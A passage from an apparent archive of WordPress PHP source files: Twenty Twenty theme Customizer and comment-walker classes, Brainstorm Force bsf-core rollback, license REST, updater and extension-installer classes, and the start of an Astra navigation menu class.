'sans-serif' ), // Vietnamese. 'vi' => array( '\'Libre Franklin\'', 'sans-serif' ), ) ); // Return if the selected language has no fallback fonts. if ( empty( $font_family[ $locale ] ) ) { return; } /** * Filters the elements to apply fallback fonts to. * * @since Twenty Twenty 1.0 * * @param array $elements An array of elements for "front-end", "block-editor", or "classic-editor". */ $elements = apply_filters( 'twentytwenty_get_localized_font_family_elements', array( 'front-end' => array( 'body', 'input', 'textarea', 'button', '.button', '.faux-button', '.wp-block-button__link', '.wp-block-file__button', '.has-drop-cap:not(:focus)::first-letter', '.entry-content .wp-block-archives', '.entry-content .wp-block-categories', '.entry-content .wp-block-cover-image', '.entry-content .wp-block-latest-comments', '.entry-content .wp-block-latest-posts', '.entry-content .wp-block-pullquote', '.entry-content .wp-block-quote.is-large', '.entry-content .wp-block-quote.is-style-large', '.entry-content .wp-block-archives *', '.entry-content .wp-block-categories *', '.entry-content .wp-block-latest-posts *', '.entry-content .wp-block-latest-comments *', '.entry-content p', '.entry-content ol', '.entry-content ul', '.entry-content dl', '.entry-content dt', '.entry-content cite', '.entry-content figcaption', '.entry-content .wp-caption-text', '.comment-content p', '.comment-content ol', '.comment-content ul', '.comment-content dl', '.comment-content dt', '.comment-content cite', '.comment-content figcaption', '.comment-content .wp-caption-text', '.widget_text p', '.widget_text ol', '.widget_text ul', '.widget_text dl', '.widget_text dt', '.widget-content .rssSummary', '.widget-content cite', '.widget-content figcaption', '.widget-content .wp-caption-text' ), 'block-editor' => array( '.editor-styles-wrapper > *', '.editor-styles-wrapper p', '.editor-styles-wrapper ol', '.editor-styles-wrapper ul', '.editor-styles-wrapper dl', '.editor-styles-wrapper dt', '.editor-post-title__block .editor-post-title__input', '.editor-styles-wrapper .wp-block-post-title', '.editor-styles-wrapper .wp-block h1', '.editor-styles-wrapper .wp-block h2', '.editor-styles-wrapper .wp-block h3', '.editor-styles-wrapper .wp-block h4', '.editor-styles-wrapper .wp-block h5', '.editor-styles-wrapper .wp-block h6', '.editor-styles-wrapper .has-drop-cap:not(:focus)::first-letter', '.editor-styles-wrapper cite', '.editor-styles-wrapper figcaption', '.editor-styles-wrapper .wp-caption-text' ), 'classic-editor' => array( 'body#tinymce.wp-editor', 'body#tinymce.wp-editor p', 'body#tinymce.wp-editor ol', 'body#tinymce.wp-editor ul', 'body#tinymce.wp-editor dl', 'body#tinymce.wp-editor dt', 'body#tinymce.wp-editor figcaption', 'body#tinymce.wp-editor .wp-caption-text', 'body#tinymce.wp-editor .wp-caption-dd', 'body#tinymce.wp-editor cite', 'body#tinymce.wp-editor table' ), ) ); // Return if the specified type doesn't exist. if ( empty( $elements[ $type ] ) ) { return; } // Return the specified styles. return twentytwenty_generate_css( implode( ',', $elements[ $type ] ), 'font-family', implode( ',', $font_family[ $locale ] ), null, null, false ); } } } class-twentytwenty-customize.php 0000666 00000034464 15165342724 0013235 0 ustar 00 <?php /** * Customizer settings for this theme. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_Customize' ) ) { /** * CUSTOMIZER SETTINGS * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Customize { /** * Register customizer options. * * @since Twenty Twenty 1.0 * * @param WP_Customize_Manager $wp_customize Theme Customizer object. */ public static function register( $wp_customize ) { /** * Site Title & Description. * */ $wp_customize->get_setting( 'blogname' )->transport = 'postMessage'; $wp_customize->get_setting( 'blogdescription' )->transport = 'postMessage'; $wp_customize->selective_refresh->add_partial( 'blogname', array( 'selector' => '.site-title a', 'render_callback' => 'twentytwenty_customize_partial_blogname', ) ); $wp_customize->selective_refresh->add_partial( 'blogdescription', array( 'selector' => '.site-description', 'render_callback' => 'twentytwenty_customize_partial_blogdescription', ) ); $wp_customize->selective_refresh->add_partial( 'custom_logo', array( 'selector' => '.header-titles [class*=site-]:not(.site-description)', 'render_callback' => 'twentytwenty_customize_partial_site_logo', 'container_inclusive' => true, ) ); $wp_customize->selective_refresh->add_partial( 'retina_logo', array( 'selector' => '.header-titles [class*=site-]:not(.site-description)', 'render_callback' => 'twentytwenty_customize_partial_site_logo', ) ); /** * Site Identity */ /* 2X Header Logo ---------------- */ $wp_customize->add_setting( 'retina_logo', array( 'capability' => 'edit_theme_options', 'sanitize_callback' => array( __CLASS__, 'sanitize_checkbox' ), 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'retina_logo', array( 'type' => 'checkbox', 'section' => 'title_tagline', 'priority' => 10, 'label' => __( 'Retina logo', 'twentytwenty' ), 'description' => __( 'Scales the logo to half its uploaded size, making it sharp on high-res screens.', 'twentytwenty' ), ) ); // Header & Footer Background Color. $wp_customize->add_setting( 'header_footer_background_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', 'transport' => 'postMessage', ) ); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'header_footer_background_color', array( 'label' => __( 'Header & Footer Background Color', 'twentytwenty' ), 'section' => 'colors', ) ) ); // Enable picking an accent color. $wp_customize->add_setting( 'accent_hue_active', array( 'capability' => 'edit_theme_options', 'sanitize_callback' => array( __CLASS__, 'sanitize_select' ), 'transport' => 'postMessage', 'default' => 'default', ) ); $wp_customize->add_control( 'accent_hue_active', array( 'type' => 'radio', 'section' => 'colors', 'label' => __( 'Primary Color', 'twentytwenty' ), 'choices' => array( 'default' => _x( 'Default', 'color', 'twentytwenty' ), 'custom' => _x( 'Custom', 'color', 'twentytwenty' ), ), ) ); /** * Implementation for the accent color. * This is different to all other color options because of the accessibility enhancements. * The control is a hue-only colorpicker, and there is a separate setting that holds values * for other colors calculated based on the selected hue and various background-colors on the page. * * @since Twenty Twenty 1.0 */ // Add the setting for the hue colorpicker. $wp_customize->add_setting( 'accent_hue', array( 'default' => 344, 'type' => 'theme_mod', 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); // Add setting to hold colors derived from the accent hue. $wp_customize->add_setting( 'accent_accessible_colors', array( 'default' => array( 'content' => array( 'text' => '#000000', 'accent' => '#cd2653', 'secondary' => '#6d6d6d', 'borders' => '#dcd7ca', ), 'header-footer' => array( 'text' => '#000000', 'accent' => '#cd2653', 'secondary' => '#6d6d6d', 'borders' => '#dcd7ca', ), ), 'type' => 'theme_mod', 'transport' => 'postMessage', 'sanitize_callback' => array( __CLASS__, 'sanitize_accent_accessible_colors' ), ) ); // Add the hue-only colorpicker for the accent color. $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'accent_hue', array( 'section' => 'colors', 'settings' => 'accent_hue', 'description' => __( 'Apply a custom color for links, buttons, featured images.', 'twentytwenty' ), 'mode' => 'hue', 'active_callback' => static function() use ( $wp_customize ) { return ( 'custom' === $wp_customize->get_setting( 'accent_hue_active' )->value() ); }, ) ) ); // Update background color with postMessage, so inline CSS output is updated as well. $wp_customize->get_setting( 'background_color' )->transport = 'postMessage'; /** * Theme Options */ $wp_customize->add_section( 'options', array( 'title' => __( 'Theme Options', 'twentytwenty' ), 'priority' => 40, 'capability' => 'edit_theme_options', ) ); /* Enable Header Search ----------------------------------------------- */ $wp_customize->add_setting( 'enable_header_search', array( 'capability' => 'edit_theme_options', 'default' => true, 'sanitize_callback' => array( __CLASS__, 'sanitize_checkbox' ), ) ); $wp_customize->add_control( 'enable_header_search', array( 'type' => 'checkbox', 'section' => 'options', 'priority' => 10, 'label' => __( 'Show search in header', 'twentytwenty' ), ) ); /* Show author bio ---------------------------------------------------- */ $wp_customize->add_setting( 'show_author_bio', array( 'capability' => 'edit_theme_options', 'default' => true, 'sanitize_callback' => array( __CLASS__, 'sanitize_checkbox' ), ) ); $wp_customize->add_control( 'show_author_bio', array( 'type' => 'checkbox', 'section' => 'options', 'priority' => 10, 'label' => __( 'Show author bio', 'twentytwenty' ), ) ); /* Display full content or excerpts on the blog and archives --------- */ $wp_customize->add_setting( 'blog_content', array( 'capability' => 'edit_theme_options', 'default' => 'full', 'sanitize_callback' => array( __CLASS__, 'sanitize_select' ), ) ); $wp_customize->add_control( 'blog_content', array( 'type' => 'radio', 'section' => 'options', 'priority' => 10, 'label' => __( 'On archive pages, posts show:', 'twentytwenty' ), 'choices' => array( 'full' => __( 'Full text', 'twentytwenty' ), 'summary' => __( 'Summary', 'twentytwenty' ), ), ) ); /** * Template: Cover Template. */ $wp_customize->add_section( 'cover_template_options', array( 'title' => __( 'Cover Template', 'twentytwenty' ), 'capability' => 'edit_theme_options', 'description' => __( 'Settings for the "Cover Template" page template. Add a featured image to use as background.', 'twentytwenty' ), 'priority' => 42, ) ); /* Overlay Fixed Background ------ */ $wp_customize->add_setting( 'cover_template_fixed_background', array( 'capability' => 'edit_theme_options', 'default' => true, 'sanitize_callback' => array( __CLASS__, 'sanitize_checkbox' ), 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'cover_template_fixed_background', array( 'type' => 'checkbox', 'section' => 'cover_template_options', 'label' => __( 'Fixed Background Image', 'twentytwenty' ), 'description' => __( 'Creates a parallax effect when the visitor scrolls.', 'twentytwenty' ), ) ); $wp_customize->selective_refresh->add_partial( 'cover_template_fixed_background', array( 'selector' => '.cover-header', 'type' => 'cover_fixed', ) ); /* Separator --------------------- */ $wp_customize->add_setting( 'cover_template_separator_1', array( 'sanitize_callback' => 'wp_filter_nohtml_kses', ) ); $wp_customize->add_control( new TwentyTwenty_Separator_Control( $wp_customize, 'cover_template_separator_1', array( 'section' => 'cover_template_options', ) ) ); /* Overlay Background Color ------ */ $wp_customize->add_setting( 'cover_template_overlay_background_color', array( 'default' => twentytwenty_get_color_for_area( 'content', 'accent' ), 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'cover_template_overlay_background_color', array( 'label' => __( 'Overlay Background Color', 'twentytwenty' ), 'description' => __( 'The color used for the overlay. Defaults to the accent color.', 'twentytwenty' ), 'section' => 'cover_template_options', ) ) ); /* Overlay Text Color ------------ */ $wp_customize->add_setting( 'cover_template_overlay_text_color', array( 'default' => '#ffffff', 'sanitize_callback' => 'sanitize_hex_color', ) ); $wp_customize->add_control( new WP_Customize_Color_Control( $wp_customize, 'cover_template_overlay_text_color', array( 'label' => __( 'Overlay Text Color', 'twentytwenty' ), 'description' => __( 'The color used for the text in the overlay.', 'twentytwenty' ), 'section' => 'cover_template_options', ) ) ); /* Overlay Color Opacity --------- */ $wp_customize->add_setting( 'cover_template_overlay_opacity', array( 'default' => 80, 'sanitize_callback' => 'absint', 'transport' => 'postMessage', ) ); $wp_customize->add_control( 'cover_template_overlay_opacity', array( 'label' => __( 'Overlay Opacity', 'twentytwenty' ), 'description' => __( 'Make sure that the contrast is high enough so that the text is readable.', 'twentytwenty' ), 'section' => 'cover_template_options', 'type' => 'range', 'input_attrs' => twentytwenty_customize_opacity_range(), ) ); $wp_customize->selective_refresh->add_partial( 'cover_template_overlay_opacity', array( 'selector' => '.cover-color-overlay', 'type' => 'cover_opacity', ) ); } /** * Sanitization callback for the "accent_accessible_colors" setting. * * @since Twenty Twenty 1.0 * * @param array $value The value we want to sanitize. * @return array Returns sanitized value. Each item in the array gets sanitized separately. */ public static function sanitize_accent_accessible_colors( $value ) { // Make sure the value is an array. Do not typecast, use empty array as fallback. $value = is_array( $value ) ? $value : array(); // Loop values. foreach ( $value as $area => $values ) { foreach ( $values as $context => $color_val ) { $value[ $area ][ $context ] = sanitize_hex_color( $color_val ); } } return $value; } /** * Sanitize select. * * @since Twenty Twenty 1.0 * * @param string $input The input from the setting. * @param object $setting The selected setting. * @return string The input from the setting or the default setting. */ public static function sanitize_select( $input, $setting ) { $input = sanitize_key( $input ); $choices = $setting->manager->get_control( $setting->id )->choices; return ( array_key_exists( $input, $choices ) ? $input : $setting->default ); } /** * Sanitize boolean for checkbox. * * @since Twenty Twenty 1.0 * * @param bool $checked Whether or not a box is checked. * @return bool */ public static function sanitize_checkbox( $checked ) { return ( ( isset( $checked ) && true === $checked ) ? true : false ); } } // Setup the Theme Customizer settings and controls. add_action( 'customize_register', array( 'TwentyTwenty_Customize', 'register' ) ); } /** * PARTIAL REFRESH FUNCTIONS * */ if ( ! function_exists( 'twentytwenty_customize_partial_blogname' ) ) { /** * Render the site title for the selective refresh partial. * * @since Twenty Twenty 1.0 */ function twentytwenty_customize_partial_blogname() { bloginfo( 'name' ); } } if ( ! function_exists( 'twentytwenty_customize_partial_blogdescription' ) ) { /** * Render the site description for the selective refresh partial. * * @since Twenty Twenty 1.0 */ function twentytwenty_customize_partial_blogdescription() { bloginfo( 'description' ); } } if ( ! function_exists( 'twentytwenty_customize_partial_site_logo' ) ) { /** * Render the site logo for the selective refresh partial. * * Doing it this way so we don't have issues with `render_callback`'s arguments. * * @since Twenty Twenty 1.0 */ function twentytwenty_customize_partial_site_logo() { twentytwenty_site_logo(); } } /** * Input attributes for cover overlay opacity option. * * @since Twenty Twenty 1.0 * * @return array Array containing attribute names and their values. */ function twentytwenty_customize_opacity_range() { /** * Filters the input attributes for opacity. * * @since Twenty Twenty 1.0 * * @param array $attrs { * The attributes. * * @type int $min Minimum value. * @type int $max Maximum value. * @type int $step Interval between numbers. * } */ return apply_filters( 'twentytwenty_customize_opacity_range', array( 'min' => 0, 'max' => 90, 'step' => 5, ) ); } class-twentytwenty-walker-comment.php 0000666 00000011277 15165342724 0014135 0 ustar 00 <?php /** * Custom comment walker for this theme. * * @package WordPress * @subpackage Twenty_Twenty * @since Twenty Twenty 1.0 */ if ( ! class_exists( 'TwentyTwenty_Walker_Comment' ) ) { /** * CUSTOM COMMENT WALKER * A custom walker for comments, based on the walker in Twenty Nineteen. * * @since Twenty Twenty 1.0 */ class TwentyTwenty_Walker_Comment extends Walker_Comment { /** * Outputs a comment in the HTML5 format. * * @since Twenty Twenty 1.0 * * @see wp_list_comments() * @see https://developer.wordpress.org/reference/functions/get_comment_author_url/ * @see https://developer.wordpress.org/reference/functions/get_comment_author/ * @see https://developer.wordpress.org/reference/functions/get_avatar/ * @see https://developer.wordpress.org/reference/functions/get_comment_reply_link/ * @see https://developer.wordpress.org/reference/functions/get_edit_comment_link/ * * @param WP_Comment $comment Comment to display. * @param int $depth Depth of the current comment. * @param array $args An array of arguments. */ protected function html5_comment( $comment, $depth, $args ) { $tag = ( 'div' === $args['style'] ) ? 'div' : 'li'; ?> <<?php echo $tag; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- static output ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>> <article id="div-comment-<?php comment_ID(); ?>" class="comment-body"> <footer class="comment-meta"> <div class="comment-author vcard"> <?php $comment_author_url = get_comment_author_url( $comment ); $comment_author = get_comment_author( $comment ); $avatar = get_avatar( $comment, $args['avatar_size'] ); if ( 0 !== $args['avatar_size'] ) { if ( empty( $comment_author_url ) ) { echo wp_kses_post( $avatar ); } else { printf( '<a href="%s" rel="external nofollow" class="url">', $comment_author_url ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped --Escaped in https://developer.wordpress.org/reference/functions/get_comment_author_url/ echo wp_kses_post( $avatar ); } } printf( '<span class="fn">%1$s</span><span class="screen-reader-text says">%2$s</span>', esc_html( $comment_author ), __( 'says:', 'twentytwenty' ) ); if ( ! empty( $comment_author_url ) ) { echo '</a>'; } ?> </div><!-- .comment-author --> <div class="comment-metadata"> <?php /* translators: 1: Comment date, 2: Comment time. */ $comment_timestamp = sprintf( __( '%1$s at %2$s', 'twentytwenty' ), get_comment_date( '', $comment ), get_comment_time() ); printf( '<a href="%s"><time datetime="%s" title="%s">%s</time></a>', esc_url( get_comment_link( $comment, $args ) ), get_comment_time( 'c' ), esc_attr( $comment_timestamp ), esc_html( $comment_timestamp ) ); if ( get_edit_comment_link() ) { printf( ' <span aria-hidden="true">•</span> <a class="comment-edit-link" href="%s">%s</a>', esc_url( get_edit_comment_link() ), __( 'Edit', 'twentytwenty' ) ); } ?> </div><!-- .comment-metadata --> </footer><!-- .comment-meta --> <div class="comment-content entry-content"> <?php comment_text(); if ( '0' === $comment->comment_approved ) { ?> <p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentytwenty' ); ?></p> <?php } ?> </div><!-- .comment-content --> <?php $comment_reply_link = get_comment_reply_link( array_merge( $args, array( 'add_below' => 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth'], 'before' => '<span class="comment-reply">', 'after' => '</span>', ) ) ); $by_post_author = twentytwenty_is_comment_by_post_author( $comment ); if ( $comment_reply_link || $by_post_author ) { ?> <footer class="comment-footer-meta"> <?php if ( $comment_reply_link ) { echo $comment_reply_link; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Link is escaped in https://developer.wordpress.org/reference/functions/get_comment_reply_link/ } if ( $by_post_author ) { echo '<span class="by-post-author">' . __( 'By Post Author', 'twentytwenty' ) . '</span>'; } ?> </footer> <?php } ?> </article><!-- .comment-body --> <?php } } } class-bsf-rollback-version.php 0000666 00000014261 15165351170 0012420 0 ustar 00 <?php /** * BSF Rollback Version * * @package bsf-core * @author Brainstorm Force * @link http://wpastra.com/ */ /** * BSF_Core_Update initial setup */ class BSF_Rollback_Version { /** * Package URL. * * Holds the package URL. * This will be the actual download URL od zip file. * * @access protected * * @var string Package URL. */ protected $package_url; /** * Product URL. * * @access protected * @var string Product URL. */ protected $product_url; /** * Version. * * Holds the version. * * @access protected * * @var string Package URL. */ protected $version; /** * Plugin name. * * Holds the plugin name. * * @access protected * * @var string Plugin name. */ protected $plugin_name; /** * Plugin slug. * * Holds the plugin slug. * * @access protected * * @var string Plugin slug. */ protected $plugin_slug; /** * Product Title. * * Holds the Product Title. * * @access protected * * @var string Plugin Title. */ protected $product_title; /** * HOlds the Product ID. * * @access protected * @var string Product ID. */ protected $product_id; /** * * Initializing Rollback. * * @access public * * @param array $args Optional.Rollback arguments. Default is an empty array. */ public function __construct( $args = array() ) { foreach ( $args as $key => $value ) { $this->{$key} = $value; } } /** * Apply package. * * @since 1.0.0 * @access protected */ protected function apply_package() { $update_products = get_site_transient( 'update_plugins' ); if ( ! is_object( $update_products ) ) { $update_products = new stdClass(); } $product_info = new stdClass(); $product_info->new_version = $this->version; $product_info->slug = $this->plugin_slug; $product_info->package = $this->package_url; // This will be the actual download URL of zip file.. $product_info->url = $this->product_url; $update_products->response[ $this->plugin_name ] = $product_info; set_site_transient( 'update_plugins', $update_products ); } /** * Upgrade. * * Run WordPress upgrade to Rollback to previous version. * * @since 1.0.0 * @access protected */ protected function upgrade() { require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php'; $upgrader_args = array( 'url' => 'update.php?action=upgrade-plugin&plugin=' . rawurlencode( $this->plugin_name ), 'plugin' => $this->plugin_name, 'nonce' => 'upgrade-plugin_' . $this->plugin_name, 'title' => apply_filters( 'bsf_rollback_' . $this->product_id . '_title', '<h1>Rollback ' . bsf_get_white_lable_product_name( $this->product_id, $this->product_title ) . ' to version ' . $this->version . ' </h1>' ), ); $upgrader = new Plugin_Upgrader( new Plugin_Upgrader_Skin( $upgrader_args ) ); $upgrader->upgrade( $this->plugin_name ); } /** * * Rollback to previous versions. * * @since 1.0.0 * @access public */ public function run() { $this->apply_package(); $this->upgrade(); } /** * Get All versions of product. * * @param string $product_id Product ID. */ public static function bsf_get_product_versions( $product_id ) { if ( empty( $product_id ) ) { return array(); } // Check is transient is expire or User has Enalbed/Disabled the beta version. $versions_transient = get_site_transient( 'bsf-product-versions-' . $product_id ); if ( false !== $versions_transient && false === self::is_beta_enabled_rollback( $product_id ) ) { return $versions_transient; } $per_page = apply_filters( 'bsf_show_versions_to_rollback_' . $product_id, 10 ); $path = bsf_get_api_site( false, true ) . 'versions/' . $product_id . '?per_page=' . $per_page; if ( BSF_Update_Manager::bsf_allow_beta_updates( $product_id ) ) { $path = add_query_arg( 'include_beta', 'true', $path ); } $response = wp_remote_get( $path, array( 'timeout' => '10', ) ); if ( is_wp_error( $response ) || wp_remote_retrieve_response_code( $response ) !== 200 ) { return array(); } $response_versions = json_decode( wp_remote_retrieve_body( $response ), true ); // Cache product version for 24 hrs. set_site_transient( 'bsf-product-versions-' . $product_id, $response_versions, 24 * HOUR_IN_SECONDS ); return $response_versions; } /** * This will filter the versions and return the versions less than current installed version. * * @param array $version_arr array of versions. * @param string $current_version Current install version. * * @return array */ public static function sort_product_versions( $version_arr, $current_version ) { $rollback_versions = array(); foreach ( $version_arr as $version ) { if ( version_compare( $version, $current_version, '>=' ) ) { continue; } $rollback_versions[] = $version; } return $rollback_versions; } /** * This function is added to update the trasient data of product version on beta update enabled/disabled action. * This will set the flag in db options that should beta versions include/removed in the rollback versions list based on enabled/disabled beta updates for the product. * * @param string $product_id Product ID. * * @return bool */ public static function is_beta_enabled_rollback( $product_id ) { $allow_beta_update = BSF_Update_Manager::bsf_allow_beta_updates( $product_id ); $is_beta_enable = ( false === $allow_beta_update ) ? '0' : '1'; // Set the initial flag for is beta enelbled/ disabled. if ( false === get_option( 'is_beta_enable_rollback_' . $product_id ) ) { update_option( 'is_beta_enable_rollback_' . $product_id, $is_beta_enable ); return false; } // If user has enalbed/ disabled beta update then upadate the rollback version transient data. if ( get_option( 'is_beta_enable_rollback_' . $product_id ) !== $is_beta_enable ) { update_option( 'is_beta_enable_rollback_' . $product_id, $is_beta_enable ); return true; } return false; } } class-bsf-core-rest.php 0000666 00000004760 15165351170 0011052 0 ustar 00 <?php /** * BSF Core REST API * * @package bsf-core */ /** * License Activation/Deactivation REST API. */ class Bsf_Core_Rest { /** * Member Variable * * @var instance */ private static $instance; /** * The namespace of this controller's route. * * @var string */ public $namespace; /** * The base of this controller's route. * * @var string */ public $rest_base; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor. */ public function __construct() { $this->namespace = 'bsf-core/v1'; $this->rest_base = '/license'; add_action( 'rest_api_init', array( $this, 'register_routes' ) ); } /** * Register the routes for the objects of the controller. */ public function register_routes() { register_rest_route( $this->namespace, $this->rest_base . '/activate', array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'activate_license' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => array( 'product-id' => array( 'type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ), 'license-key' => array( 'type' => 'string', 'required' => true, 'sanitize_callback' => 'sanitize_text_field', ), ), ) ); } /** * Check if a given request has access to activate license. * * @param WP_REST_Request $request Full details about the request. * @return WP_Error|boolean */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'manage_options' ) ) { return true; } return false; } /** * Activate License Key. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Rest Response with access key. */ public function activate_license( $request ) { $product_id = $request->get_param( 'product-id' ); $license_key = $request->get_param( 'license-key' ); $data = array( 'privacy_consent' => true, 'terms_conditions_consent' => true, 'product_id' => $product_id, 'license_key' => $license_key, ); return rest_ensure_response( BSF_License_Manager::instance()->bsf_process_license_activation( $data ) ); } } Bsf_Core_Rest::get_instance(); class-bsf-core-update.php 0000666 00000004234 15165351170 0011353 0 ustar 00 <?php /** * BSF Core Update * * @package Astra * @author Astra * @copyright Copyright (c) 2020, Astra * @link http://wpastra.com/ * @since Astra 1.0.0 */ if ( ! class_exists( 'BSF_Core_Update' ) ) { /** * BSF_Core_Update initial setup * * @since 1.0.0 */ class BSF_Core_Update { /** * Class instance. * * @access private * @var $instance Class instance. */ private static $instance; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { // Theme Updates. add_action( 'admin_init', __CLASS__ . '::init', 0 ); add_filter( 'all_plugins', array( $this, 'update_products_slug' ), 10, 1 ); } /** * Implement theme update logic. * * @since 1.0.0 */ public static function init() { do_action( 'astra_update_before' ); // Get auto saved version number. $saved_version = get_option( 'bsf-updater-version', false ); // If equals then return. if ( version_compare( $saved_version, BSF_UPDATER_VERSION, '=' ) ) { return; } // // Update auto saved version number. update_option( 'bsf-updater-version', BSF_UPDATER_VERSION ); do_action( 'astra_update_after' ); } /** * Update bsf product slug in WP installed plugins data which will be used in enable/disablestaged updates products. * * @param array $plugins All installed plugins. * * @return array */ public function update_products_slug( $plugins ) { $bsf_products = bsf_get_brainstorm_products( true ); foreach ( $bsf_products as $product => $data ) { $plugin_file = isset( $data['template'] ) ? sanitize_text_field( $data['template'] ) : ''; if ( isset( $plugins[ $plugin_file ] ) && ! empty( $data['slug'] ) ) { $plugins[ $plugin_file ]['slug'] = $data['slug']; } } return $plugins; } } } /** * Kicking this off by calling 'get_instance()' method */ BSF_Core_Update::get_instance(); class-bsf-extension-installer.php 0000666 00000004143 15165351170 0013151 0 ustar 00 <?php /** * BSF extension installer class file. * * @package bsf-core */ if ( ! defined( 'ABSPATH' ) ) { exit; } /** * BSF_Extension_Installer Extension installer. */ class BSF_Extension_Installer { /** * Constructor */ public function __construct() { add_action( 'admin_enqueue_scripts', array( $this, 'load_scripts' ) ); add_action( 'wp_ajax_bsf-extention-activate', array( $this, 'activate_plugin' ) ); } /** * Load scripts needed for extension installer. * * @param hook $hook current page hook. * @return void */ public function load_scripts( $hook ) { $bsf_ext_inst = apply_filters( 'bsf_extension_installer_screens', array( 'bsf-extensions' ), $hook ); foreach ( $bsf_ext_inst as $key => $value ) { if ( false !== strpos( $hook, $value ) ) { wp_register_script( 'bsf-extension-installer', bsf_core_url( '/assets/js/extension-installer.js' ), array( 'jquery', 'wp-util', 'updates' ), BSF_UPDATER_VERSION, true ); wp_enqueue_script( 'bsf-extension-installer' ); } } } /** * Activates plugin. * * @return void */ public function activate_plugin() { if ( ! wp_verify_nonce( $_POST['security'], 'bsf_activate_extension_nonce' ) ) { wp_send_json_error( array( 'success' => false, 'message' => __( 'You are not authorized to perform this action.', 'bsf' ), ) ); } if ( ! current_user_can( 'install_plugins' ) || ! isset( $_POST['init'] ) || ! $_POST['init'] ) { wp_send_json_error( array( 'success' => false, 'message' => __( 'No plugin specified', 'bsf' ), ) ); } $plugin_init = ( isset( $_POST['init'] ) ) ? esc_attr( $_POST['init'] ) : ''; $activate = activate_plugin( $plugin_init, '', false, true ); if ( is_wp_error( $activate ) ) { wp_send_json_error( array( 'success' => false, 'message' => $activate->get_error_message(), ) ); } wp_send_json_success( array( 'success' => true, 'message' => __( 'Plugin Activated', 'bsf' ), ) ); } } new BSF_Extension_Installer(); class-astra-ext-nav-menu-markup.php 0000666 00000200214 15165372345 0013327 0 ustar 00 <?php /** * Navigation Menu Markup. * * @package Astra Addon * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; } if ( ! class_exists( 'Astra_Ext_Nav_Menu_Markup' ) ) { /** * Astra Nav Menu loader. * * @since 1.6.0 */ // @codingStandardsIgnoreStart final class Astra_Ext_Nav_Menu_Markup { // phpcs:ignore WordPress.NamingConventions.PrefixAllGlobals.NonPrefixedClassFound // @codingStandardsIgnoreEnd /** * Member Variable * * @var instance */ private static $instance; /** * Member Variable * * @var string */ private static $mega_menu_style = ''; /** * Initiator */ public static function get_instance() { if ( ! isset( self::$instance ) ) { self::$instance = new self(); } return self::$instance; } /** * Constructor */ public function __construct() { global $pagenow; // Add custom fields to menu. add_filter( 'wp_setup_nav_menu_item', array( $this, 'add_custom_fields_meta' ) ); add_action( 'wp_nav_menu_item_custom_fields', array( $this, 'add_custom_fields' ), 10, 4 ); // Edit menu walker. add_filter( 'wp_edit_nav_menu_walker', array( $this, 'edit_walker' ), 12 ); add_action( 'init', array( 'Astra_Ext_Nav_Menu_Markup', 'load_walker' ), 1 ); add_action( 'wp_ajax_ast_get_posts_list', array( $this, 'get_post_list_by_query' ) ); /* Add Body Classes */ add_filter( 'body_class', array( $this, 'body_classes' ), 10, 1 ); add_action( 'init', array( $this, 'add_mega_menu_classes' ) ); add_filter( 'astra_above_header_menu_classes', array( $this, 'add_above_menu_classes' ) ); add_filter( 'astra_below_header_menu_classes', array( $this, 'add_below_menu_classes' ) ); add_action( 'astra_get_fonts', array( $this, 'add_fonts' ), 1 ); if ( 'nav-menus.php' === $pagenow ) { add_action( 'admin_footer', array( $this, 'add_mega_menu_wrap' ) ); add_action( 'admin_footer', array( $this, 'dynamic_mega_menu_css' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'register_mega_menu_script' ) ); } add_action( 'rest_api_init', array( $this, 'create_rest_routes' ) ); } /** * Add global palette to admin section. * * @since 4.0.0 */ public function dynamic_mega_menu_css() { $css = ''; $inline_css = array( ':root' => Astra_Global_Palette::generate_global_palette_style(), ); $css .= astra_parse_css( $inline_css ); ?> <style> <?php echo esc_html( $css ); ?> </style> <?php } /** * Enqueue Font Family */ public function add_fonts() { $font_family_primary = astra_get_option( 'primary-header-megamenu-heading-font-family' ); $font_weight_primary = astra_get_option( 'primary-header-megamenu-heading-font-weight' ); Astra_Fonts::add_font( $font_family_primary, $font_weight_primary ); $font_family_above = astra_get_option( 'above-header-megamenu-heading-font-family' ); $font_weight_above = astra_get_option( 'above-header-megamenu-heading-font-weight' ); Astra_Fonts::add_font( $font_family_above, $font_weight_above ); $font_family_below = astra_get_option( 'below-header-megamenu-heading-font-family' ); $font_weight_below = astra_get_option( 'below-header-megamenu-heading-font-weight' ); Astra_Fonts::add_font( $font_family_below, $font_weight_below ); $font_family_mobile_submenu = astra_get_option( 'header-font-family-mobile-menu-sub-menu' ); $font_weight_mobile_submenu = astra_get_option( 'header-font-weight-mobile-menu-sub-menu' ); Astra_Fonts::add_font( $font_family_mobile_submenu, $font_weight_mobile_submenu ); } /** * Add custom megamenu fields data to the menu. * * @param int $id menu item id. * @param object $item A single menu item. * @param int $depth menu item depth. * @param array $args menu item arguments. 